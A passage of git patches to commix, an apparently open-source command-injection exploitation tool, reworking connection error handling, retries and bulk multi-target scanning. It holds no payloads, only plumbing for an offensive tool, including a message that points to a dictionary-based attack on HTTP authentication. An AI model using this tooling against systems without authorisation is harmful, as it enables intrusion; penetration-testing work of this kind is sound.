print(settings.SINGLE_WHITESPACE) - return False + return False else: - print(settings.print_critical_msg(err_msg)) - raise SystemExit + print(settings.print_critical_msg(err_msg)) + raise SystemExit() except _urllib.error.URLError as e: err_msg = "Unable to connect to the target URL" @@ -181,14 +173,45 @@ def examine_request(request): err_msg += "." pass if menu.options.bulkfile: - warn_msg = "Skipping URL '" + url + "' - " + err_msg + print(settings.print_critical_msg(err_msg)) + warn_msg = "Skipping URL '" + url print(settings.print_warning_msg(warn_msg)) if settings.EOF: print(settings.SINGLE_WHITESPACE) return False else: - print(settings.print_critical_msg(err_msg)) - raise SystemExit + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + + except Exception as err_msg: + if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): + if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: + pass + elif menu.options.auth_type and menu.options.auth_cred: + err_msg = "The provided pair of " + menu.options.auth_type + err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'" + err_msg += " seems to be invalid." + err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options," + err_msg += " in order to perform a dictionary-based attack." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + else: + pass + else: + try: + error_msg = str(err_msg.args[0]).split("] ")[1] + "." + except IndexError: + error_msg = str(err_msg).replace(": "," (") + ")." + if menu.options.bulkfile: + print(settings.print_critical_msg(err_msg)) + warn_msg = "Skipping URL '" + url + print(settings.print_warning_msg(warn_msg)) + if settings.EOF: + print(settings.SINGLE_WHITESPACE) + return False + else: + print(settings.print_critical_msg(err_msg)) + raise SystemExit() """ Check internet connection before assessing the target. @@ -207,7 +230,7 @@ def check_internet(url): # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: proxy.do_check(settings.CHECK_INTERNET_ADDRESS) - examine_request(request) + examine_request(request, url) except: print(settings.SINGLE_WHITESPACE) error_msg = "No internet connection detected." @@ -288,6 +311,9 @@ def url_response(url): settings.TOR_CHECK_AGAIN = False info_msg = "Setting URL '" + url + "' for tests. " print(settings.print_info_msg(info_msg)) + # initiate total of requests + settings.TOTAL_OF_REQUESTS = 0 + settings.MAX_RETRIES = 2 request = init_request(url) if settings.CHECK_INTERNET: settings.CHECK_INTERNET = False @@ -297,7 +323,7 @@ def url_response(url): sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) - response = examine_request(request) + response = examine_request(request, url) # Check for URL redirection if not menu.options.ignore_redirects: url = redirection.do_check(url) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index d1cc8d46a9..8ed2da1bcf 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -173,6 +173,7 @@ def https_open(self, req): if menu.options.traffic_file: req_msg = "HTTP request [#" + str(settings.TOTAL_OF_REQUESTS) + "]:" logs.log_traffic(req_msg) + try: response = opener.open(request, timeout=settings.TIMEOUT) page = checks.page_encoding(response, action="encode") diff --git a/src/utils/settings.py b/src/utils/settings.py index 0fd610dcc3..30d4ea92c1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "31" +REVISION = "32" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From dd4b4bbf38881d88de24d7e519691b998b2d2539 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 15 Apr 2022 07:48:16 +0300 Subject: [PATCH 109/560] Minor update regarding commit https://github.com/commixproject/commix/commit/3c8e0ccc99de0a57ad626ded2179c7e407dfaa0b --- src/core/injections/controller/controller.py | 4 ++-- src/core/main.py | 11 ++++++----- src/core/requests/headers.py | 2 +- src/core/requests/redirection.py | 2 +- src/utils/settings.py | 3 ++- 5 files changed, 12 insertions(+), 10 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index b99289058c..7ea6936d0f 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -707,7 +707,7 @@ def post_request(url, http_request_method, filename, timesec): def perform_checks(url, http_request_method, filename): def basic_level_checks(): - if not menu.options.bulkfile: + if not settings.MULTI_TARGETS: settings.PERFORM_BASIC_SCANS = False else: settings.PERFORM_BASIC_SCANS = True @@ -849,7 +849,7 @@ def do_check(url, http_request_method, filename): print(settings.print_critical_msg(err_msg)) logs.print_logs_notification(filename, url) - if not settings.CHECK_BOTH_OS and not menu.options.bulkfile: + if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS: # if not menu.options.bulkfile or settings.EOF: # print(settings.SINGLE_WHITESPACE) raise SystemExit() diff --git a/src/core/main.py b/src/core/main.py index 4d7f5dfe20..cbaa050cd5 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -138,7 +138,7 @@ def examine_request(request, url): err_msg = str(e.args[0]).split("] ")[1] + "." except IndexError: err_msg = str(e).replace(": "," (") + ")." - if menu.options.bulkfile: + if settings.MULTI_TARGETS: print(settings.print_critical_msg(err_msg)) warn_msg = "Skipping URL '" + url print(settings.print_warning_msg(warn_msg)) @@ -154,7 +154,7 @@ def examine_request(request, url): if len(str(err_msg).split(": ")[1]) == 0: error_description = "Non-standard HTTP status code" err_msg = str(err_msg).replace(": "," (") + error_description + ")." - if menu.options.bulkfile: + if settings.MULTI_TARGETS: print(settings.print_critical_msg(err_msg)) warn_msg = "Skipping URL '" + url print(settings.print_warning_msg(warn_msg)) @@ -172,7 +172,7 @@ def examine_request(request, url): except IndexError: err_msg += "." pass - if menu.options.bulkfile: + if settings.MULTI_TARGETS: print(settings.print_critical_msg(err_msg)) warn_msg = "Skipping URL '" + url print(settings.print_warning_msg(warn_msg)) @@ -202,7 +202,7 @@ def examine_request(request, url): error_msg = str(err_msg.args[0]).split("] ")[1] + "." except IndexError: error_msg = str(err_msg).replace(": "," (") + ")." - if menu.options.bulkfile: + if settings.MULTI_TARGETS: print(settings.print_critical_msg(err_msg)) warn_msg = "Skipping URL '" + url print(settings.print_warning_msg(warn_msg)) @@ -307,7 +307,7 @@ def url_response(url): # Check if defined Tor (--tor option). if menu.options.tor and settings.TOR_CHECK_AGAIN: tor.do_check() - if menu.options.bulkfile: + if settings.MULTI_TARGETS: settings.TOR_CHECK_AGAIN = False info_msg = "Setting URL '" + url + "' for tests. " print(settings.print_info_msg(info_msg)) @@ -936,6 +936,7 @@ def main(filename, url): print(settings.SINGLE_WHITESPACE) with open(menu.options.bulkfile) as f: bulkfile = [url.strip() for url in f] + settings.MULTI_TARGETS = True # Removing duplicates from list. clean_bulkfile = [] [clean_bulkfile.append(x) for x in bulkfile if x not in clean_bulkfile] diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 8ed2da1bcf..c6403c3068 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -281,7 +281,7 @@ def https_open(self, req): err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")." except IndexError: err_msg += "." - if menu.options.bulkfile: + if settings.MULTI_TARGETS: raise else: print(settings.print_critical_msg(err_msg)) diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index a532c9ebe3..90c19747b1 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -190,7 +190,7 @@ def http_error_405(self, req, fp, code, msg, headers): err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")." except IndexError: err_msg += "." - if not menu.options.bulkfile: + if not settings.MULTI_TARGETS: print(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 30d4ea92c1..0a507885cb 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "32" +REVISION = "33" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1085,4 +1085,5 @@ def sys_argv_errors(): CRAWLED_SKIPPED_URLS = 0 +MULTI_TARGETS = False # eof \ No newline at end of file From b376f3deac178aa8d3e761faa8d5a6a46c5824e8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 16 Apr 2022 09:31:36 +0300 Subject: [PATCH 110/560] Minor update --- src/core/main.py | 9 +++------ src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 7 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index cbaa050cd5..ae59505bea 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -141,7 +141,6 @@ def examine_request(request, url): if settings.MULTI_TARGETS: print(settings.print_critical_msg(err_msg)) warn_msg = "Skipping URL '" + url - print(settings.print_warning_msg(warn_msg)) if settings.EOF: print(settings.SINGLE_WHITESPACE) return False @@ -157,7 +156,6 @@ def examine_request(request, url): if settings.MULTI_TARGETS: print(settings.print_critical_msg(err_msg)) warn_msg = "Skipping URL '" + url - print(settings.print_warning_msg(warn_msg)) if settings.EOF: print(settings.SINGLE_WHITESPACE) return False @@ -175,7 +173,6 @@ def examine_request(request, url): if settings.MULTI_TARGETS: print(settings.print_critical_msg(err_msg)) warn_msg = "Skipping URL '" + url - print(settings.print_warning_msg(warn_msg)) if settings.EOF: print(settings.SINGLE_WHITESPACE) return False @@ -205,7 +202,6 @@ def examine_request(request, url): if settings.MULTI_TARGETS: print(settings.print_critical_msg(err_msg)) warn_msg = "Skipping URL '" + url - print(settings.print_warning_msg(warn_msg)) if settings.EOF: print(settings.SINGLE_WHITESPACE) return False @@ -313,7 +309,6 @@ def url_response(url): print(settings.print_info_msg(info_msg)) # initiate total of requests settings.TOTAL_OF_REQUESTS = 0 - settings.MAX_RETRIES = 2 request = init_request(url) if settings.CHECK_INTERNET: settings.CHECK_INTERNET = False @@ -807,7 +802,9 @@ def main(filename, url): # Retries when the connection timeouts. if menu.options.retries: settings.MAX_RETRIES = menu.options.retries - + else: + if menu.options.MULTI_TARGETS: + settings.MAX_RETRIES = 2 # Seconds to delay between each HTTP request. if menu.options.delay > 0: settings.DELAY = menu.options.delay diff --git a/src/utils/settings.py b/src/utils/settings.py index 0a507885cb..7805cd2f5b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "33" +REVISION = "34" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 0c5f4ca9c1f2f3bbd816f1992d35f7c0d0d91cb2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 17 Apr 2022 09:05:00 +0300 Subject: [PATCH 111/560] Fixes https://github.com/commixproject/commix/issues/757 (and other multiple fixes and updates) --- src/core/injections/controller/checks.py | 39 ++++- src/core/main.py | 187 ++++------------------- src/core/requests/headers.py | 75 ++------- src/core/requests/parameters.py | 2 +- src/core/requests/redirection.py | 49 +----- src/utils/crawler.py | 4 +- src/utils/settings.py | 2 +- 7 files changed, 85 insertions(+), 273 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index fdf2457307..8c75fb6835 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -31,6 +31,7 @@ from src.utils import simple_http_server from src.thirdparty.odict import OrderedDict from src.core.convert import hexdecode +from socket import error as SocketError from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init @@ -49,6 +50,34 @@ except: settings.READLINE_ERROR = True +""" +Connection exceptions +""" + +def connection_exceptions(err_msg): + settings.VALID_URL = False + try: + error_msg = str(err_msg.args[0]).split("] ")[1] + except IndexError: + error_msg = str(err_msg.args[0]) + if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: + print(settings.SINGLE_WHITESPACE) + if "ssl" in str(error_msg): + error_msg = "can't establish SSL connection" + elif "infinite loop" in str(error_msg): + error_msg = "Infinite redirect loop detected." + error_msg += "Please check all provided parameters and/or provide missing ones." + elif "BadStatusLine" in str(error_msg): + error_msg = "connection dropped or unknown HTTP " + error_msg += "status code received." + elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg): + error_msg = "connection was forcibly closed by the target URL." + error_msg = "Unable to connect to the target URL (Reason: " + error_msg.capitalize() + ")." + print(settings.print_critical_msg(error_msg)) + if not settings.VALID_URL : + if not settings.MULTI_TARGETS and settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES: + raise SystemExit() + """ check for not declared cookie(s) """ @@ -301,13 +330,15 @@ def check_connection(url): socket.getaddrinfo(hostname, None) except socket.gaierror: err_msg = "Host '" + hostname + "' does not exist." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if not settings.MULTI_TARGETS: + print(settings.print_critical_msg(err_msg)) + raise SystemExit() except socket.error as err: err_msg = "Problem occurred while " err_msg += "resolving a host name '" + hostname + "'" - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if not settings.MULTI_TARGETS: + print(settings.print_critical_msg(err_msg)) + raise SystemExit() """ Check current assessment phase. diff --git a/src/core/main.py b/src/core/main.py index ae59505bea..a4bcb1fd7d 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -16,7 +16,6 @@ import re import os import sys -import errno import random from src.thirdparty.six.moves import http_client as _http_client # accept overly long result lines @@ -60,7 +59,6 @@ # Use Colorama to make Termcolor work on Windows too :) init() - """ Define HTTP User-Agent header. """ @@ -103,6 +101,12 @@ def user_agent_header(): Examine the request """ def examine_request(request, url): + # Retries when the connection timeouts. + if menu.options.retries: + settings.MAX_RETRIES = menu.options.retries + else: + if settings.MULTI_TARGETS: + settings.MAX_RETRIES = 1 try: headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). @@ -127,63 +131,13 @@ def examine_request(request, url): print(settings.print_critical_msg(err_msg)) raise SystemExit() - - except SocketError as e: - if e.errno == errno.ECONNRESET: - error_msg = "Connection reset by peer." - elif e.errno == errno.ECONNREFUSED: - error_msg = "Connection refused." - else: - try: - err_msg = str(e.args[0]).split("] ")[1] + "." - except IndexError: - err_msg = str(e).replace(": "," (") + ")." - if settings.MULTI_TARGETS: - print(settings.print_critical_msg(err_msg)) - warn_msg = "Skipping URL '" + url - if settings.EOF: - print(settings.SINGLE_WHITESPACE) - return False - else: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - except _urllib.error.HTTPError as err_msg: - error_description = "" - if len(str(err_msg).split(": ")[1]) == 0: - error_description = "Non-standard HTTP status code" - err_msg = str(err_msg).replace(": "," (") + error_description + ")." - if settings.MULTI_TARGETS: - print(settings.print_critical_msg(err_msg)) - warn_msg = "Skipping URL '" + url - if settings.EOF: - print(settings.SINGLE_WHITESPACE) - return False - else: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - except _urllib.error.URLError as e: - err_msg = "Unable to connect to the target URL" - try: - err_msg += " (" + str(e.args[0]).split("] ")[1] + ")." - except IndexError: - err_msg += "." - pass - if settings.MULTI_TARGETS: - print(settings.print_critical_msg(err_msg)) - warn_msg = "Skipping URL '" + url - if settings.EOF: - print(settings.SINGLE_WHITESPACE) - return False - else: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - except Exception as err_msg: + settings.VALID_URL = False + reason = "" if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): + reason = str(err_msg) if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: - pass + print(settings.print_critical_msg(err_msg)) elif menu.options.auth_type and menu.options.auth_cred: err_msg = "The provided pair of " + menu.options.auth_type err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'" @@ -192,22 +146,25 @@ def examine_request(request, url): err_msg += " in order to perform a dictionary-based attack." print(settings.print_critical_msg(err_msg)) raise SystemExit() - else: - pass - else: - try: - error_msg = str(err_msg.args[0]).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg).replace(": "," (") + ")." + if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \ + settings.FORBIDDEN_ERROR in str(err_msg).lower() or \ + settings.NOT_FOUND_ERROR in str(err_msg).lower(): + reason = str(err_msg) if settings.MULTI_TARGETS: - print(settings.print_critical_msg(err_msg)) - warn_msg = "Skipping URL '" + url + if len(reason) != 0: + reason = " (Reason: " + reason + ")." + warn_msg = "Skipping URL '" + url + "'" + reason + print(settings.print_warning_msg(warn_msg)) if settings.EOF: print(settings.SINGLE_WHITESPACE) return False else: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + err_msg = reason + if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): + pass + else: + print(settings.print_critical_msg(err_msg)) + raise SystemExit() """ Check internet connection before assessing the target. @@ -255,31 +212,12 @@ def init_request(url): # Check if defined character used for splitting parameter values. if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA: settings.PARAMETER_DELIMITER = menu.options.pdel - try: - request = _urllib.request.Request(url, menu.options.data.encode()) - except SocketError as e: - if e.errno == errno.ECONNRESET: - error_msg = "Connection reset by peer." - print(settings.print_critical_msg(error_msg)) - elif e.errno == errno.ECONNREFUSED: - error_msg = "Connection refused." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() + request = _urllib.request.Request(url, menu.options.data.encode()) else: # Check if defined character used for splitting parameter values. if menu.options.pdel and menu.options.pdel in url: settings.PARAMETER_DELIMITER = menu.options.pdel - try: - request = _urllib.request.Request(url) - except SocketError as e: - if e.errno == errno.ECONNRESET: - error_msg = "Connection reset by peer." - print(settings.print_critical_msg(error_msg)) - elif e.errno == errno.ECONNREFUSED: - error_msg = "Connection refused." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - + request = _urllib.request.Request(url) headers.do_check(request) # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: @@ -572,49 +510,6 @@ def main(filename, url): if menu.options.tamper: checks.tamper_scripts() - except _urllib.error.HTTPError as err_msg: - # Check the codes of responses - if str(err_msg.getcode()) == settings.INTERNAL_SERVER_ERROR: - print(settings.SINGLE_WHITESPACE) - content = err_msg.read() - raise SystemExit() - - # Invalid permission to access target URL page. - elif str(err_msg.getcode()) == settings.FORBIDDEN_ERROR: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - err_msg = "You don't have permission to access this page." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # The target host seems to be down! - elif str(err_msg.getcode()) == settings.NOT_FOUND_ERROR: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - err_msg = "Not found." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - else: - raise - - # The target host seems to be down! - except (_urllib.error.URLError, _http_client.BadStatusLine) as e: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - err_msg = "The host seems to be down" - try: - err_msg += " (" + str(e.args[0]).split("] ")[1] + ")." - except IndexError: - err_msg += "." - pass - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - except _http_client.InvalidURL as err_msg: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - except AttributeError: pass @@ -638,8 +533,6 @@ def main(filename, url): err_msg += " Please ensure that is up and try again." print("\n" + settings.print_critical_msg(err_msg)) logs.print_logs_notification(filename, url) - #session_handler.clear(url) - #raise SystemExit() try: @@ -799,12 +692,6 @@ def main(filename, url): if len(menu.options.data) == 0: menu.options.data = False - # Retries when the connection timeouts. - if menu.options.retries: - settings.MAX_RETRIES = menu.options.retries - else: - if menu.options.MULTI_TARGETS: - settings.MAX_RETRIES = 2 # Seconds to delay between each HTTP request. if menu.options.delay > 0: settings.DELAY = menu.options.delay @@ -953,22 +840,10 @@ def main(filename, url): filename = logs_filename_creation() main(filename, url) - except _urllib.error.HTTPError as err_msg: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - error_description = "" - if len(str(err_msg).split(": ")[1]) == 0: - error_description = "Non-standard HTTP status code" - err_msg = str(err_msg).replace(": "," (") + error_description + ")." - warn_msg = "Skipping URL '" + url + "' - " + err_msg - print(settings.print_warning_msg(warn_msg)) - if settings.EOF: - print(settings.SINGLE_WHITESPACE) - - except _urllib.error.URLError as err_msg: + except (_urllib.error.HTTPError, _urllib.error.URLError) as e: if settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) - err_msg = str(err_msg.args[0]).split("] ")[1] + "." + err_msg = "Unable to connect to the target URL." warn_msg = "Skipping URL '" + url + "' - " + err_msg print(settings.print_warning_msg(warn_msg)) if settings.EOF: @@ -992,12 +867,6 @@ def main(filename, url): abort_msg += "during the " + checks.assessment_phase() abort_msg += " phase (Ctrl-C was pressed)." new_line = "\n" - # if settings.FILE_BASED_STATE or \ - # settings.TEMPFILE_BASED_STATE : - # if not settings.DETECTION_PHASE and \ - # settings.EXPLOITATION_PHASE: - # if settings.VERBOSITY_LEVEL != 0: - # new_line = "" print(new_line + settings.print_abort_msg(abort_msg)) try: logs.print_logs_notification(filename, url) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index c6403c3068..fdf5b69881 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -118,47 +118,16 @@ def http_open(self, req): try: self.do_open(connection, req) return super(connection_handler, self).http_open(req) - except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: - try: - error_msg = str(err_msg.args[0]).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg.args[0]) + "." - error_msg = "Connection to the target URL " + error_msg - except _http_client.InvalidURL as err_msg: - settings.VALID_URL = False - error_msg = err_msg - if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - if "ssl" in str(error_msg): - settings.VALID_URL = False - error_msg = "Can't establish SSL connection." - print(settings.print_critical_msg(error_msg)) - if not settings.VALID_URL: - raise SystemExit() - + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: + checks.connection_exceptions(err_msg) def https_open(self, req): try: self.do_open(connection, req) return super(connection_handler, self).https_open(req) - except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: - try: - error_msg = str(err_msg.args[0]).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg.args[0]) + "." - error_msg = "Connection to the target URL " + error_msg - except _http_client.InvalidURL as err_msg: - settings.VALID_URL = False - error_msg = err_msg - if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - if "ssl" in str(error_msg): - settings.VALID_URL = False - error_msg = "Can't establish SSL connection." - print(settings.print_critical_msg(error_msg)) - if not settings.VALID_URL: - raise SystemExit() - + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: + checks.connection_exceptions(err_msg) + opener = _urllib.request.build_opener(connection_handler()) if len(settings.HTTP_METHOD) != 0: request.get_method = lambda: settings.HTTP_METHOD @@ -180,7 +149,8 @@ def https_open(self, req): _ = True settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 if settings.VERBOSITY_LEVEL < 2: - if settings.INIT_TEST == True and not settings.UNAUTHORIZED: + if (settings.INIT_TEST == True and not settings.UNAUTHORIZED) or \ + (settings.INIT_TEST == True and settings.MULTI_TARGETS): print(settings.SINGLE_WHITESPACE) if not settings.CHECK_INTERNET: settings.INIT_TEST = False @@ -209,8 +179,9 @@ def https_open(self, req): warn_msg += "'--proxy' option." print(settings.print_warning_msg(warn_msg)) - info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." - print(settings.print_info_msg(info_msg)) + if settings.MAX_RETRIES > 1: + info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." + print(settings.print_info_msg(info_msg)) settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 time.sleep(3) @@ -272,30 +243,8 @@ def https_open(self, req): raise SystemExit() # The handlers raise this exception when they run into a problem. - except (_http_client.HTTPException, _urllib.error.URLError, _http_client.IncompleteRead) as err: - if any(_ in str(err) for _ in ("timed out", "IncompleteRead", "Interrupted system call")): - pass - else: - err_msg = "Unable to connect to the target URL" - try: - err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")." - except IndexError: - err_msg += "." - if settings.MULTI_TARGETS: - raise - else: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Raise exception regarding existing connection was forcibly closed by the remote host. - except SocketError as err: - if err.errno == errno.ECONNRESET: - error_msg = "Connection reset by peer." - print(settings.print_critical_msg(error_msg)) - elif err.errno == errno.ECONNREFUSED: - error_msg = "Connection refused." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() + except Exception as err_msg: + checks.connection_exceptions(err_msg) """ Check for added headers. diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index afcf01ec22..1543f15649 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -134,7 +134,7 @@ def do_GET_check(url, http_request_method): all_params[param] = all_params[param] + settings.INJECT_TAG else: all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) - #all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") + all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) # Reconstruct the URL url = url_part + "?" + parameter diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 90c19747b1..d3731af4d5 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -24,6 +24,8 @@ from src.utils import menu from src.utils import settings from socket import error as SocketError +from src.thirdparty.six.moves import http_client as _http_client +from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init @@ -162,52 +164,11 @@ def http_error_405(self, req, fp, code, msg, headers): else: return url + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: + checks.connection_exceptions(err_msg) + except AttributeError: pass - # Raise exception due to ValueError. - except ValueError as err: - err_msg = str(err).replace(": "," (") - print(settings.print_critical_msg(err_msg + ").")) - raise SystemExit() - - # Raise exception regarding urllib2 HTTPError. - except _urllib.error.HTTPError as err: - # Raise exception regarding infinite loop. - if "infinite loop" in str(err): - err_msg = "Infinite redirect loop detected." - err_msg += "Please check all provided parameters and/or provide missing ones." - print(settings.print_critical_msg(err_msg)) - else: - err_msg = str(err).replace(": "," (") - print(settings.print_critical_msg(err_msg + ").")) - raise SystemExit() - - # The target host seems to be down. - except _urllib.error.URLError as err: - err_msg = "The host seems to be down" - try: - err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")." - except IndexError: - err_msg += "." - if not settings.MULTI_TARGETS: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Raise exception regarding existing connection was forcibly closed by the remote host. - except SocketError as err: - if err.errno == errno.ECONNRESET: - error_msg = "Connection reset by peer." - print(settings.print_critical_msg(error_msg)) - elif err.errno == errno.ECONNREFUSED: - error_msg = "Connection refused." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - - # Raise exception regarding connection aborted. - except Exception: - err_msg = "Connection aborted." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() # eof \ No newline at end of file diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 2d08a9f117..b225a48fc2 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -67,11 +67,13 @@ def request(url): response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except _urllib.error.URLError as err_msg: + settings.CRAWLED_SKIPPED_URLS += 1 + if settings.CRAWLED_SKIPPED_URLS == 1: + print(settings.SINGLE_WHITESPACE) err_msg = str(err_msg) + " - Skipping " + str(url) sys.stdout.write(settings.print_critical_msg(err_msg)) if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) - settings.CRAWLED_SKIPPED_URLS += 1 """ Check for URLs in sitemap.xml. diff --git a/src/utils/settings.py b/src/utils/settings.py index 7805cd2f5b..2ce9cf87d6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "34" +REVISION = "35" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 237ec71cb19112bdb4e9b7ee731a33ba07c09cbc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 18 Apr 2022 08:43:14 +0300 Subject: [PATCH 112/560] Update regarding error(s) handling --- src/core/injections/controller/checks.py | 40 ++++++++++++--- src/core/main.py | 62 +++++++++++++----------- src/core/requests/headers.py | 31 +++--------- src/core/requests/redirection.py | 7 ++- src/utils/crawler.py | 2 +- src/utils/settings.py | 5 +- 6 files changed, 83 insertions(+), 64 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 8c75fb6835..a8587fe9eb 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -19,6 +19,7 @@ import sys import glob import json +import time import socket import random import string @@ -63,17 +64,40 @@ def connection_exceptions(err_msg): if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) if 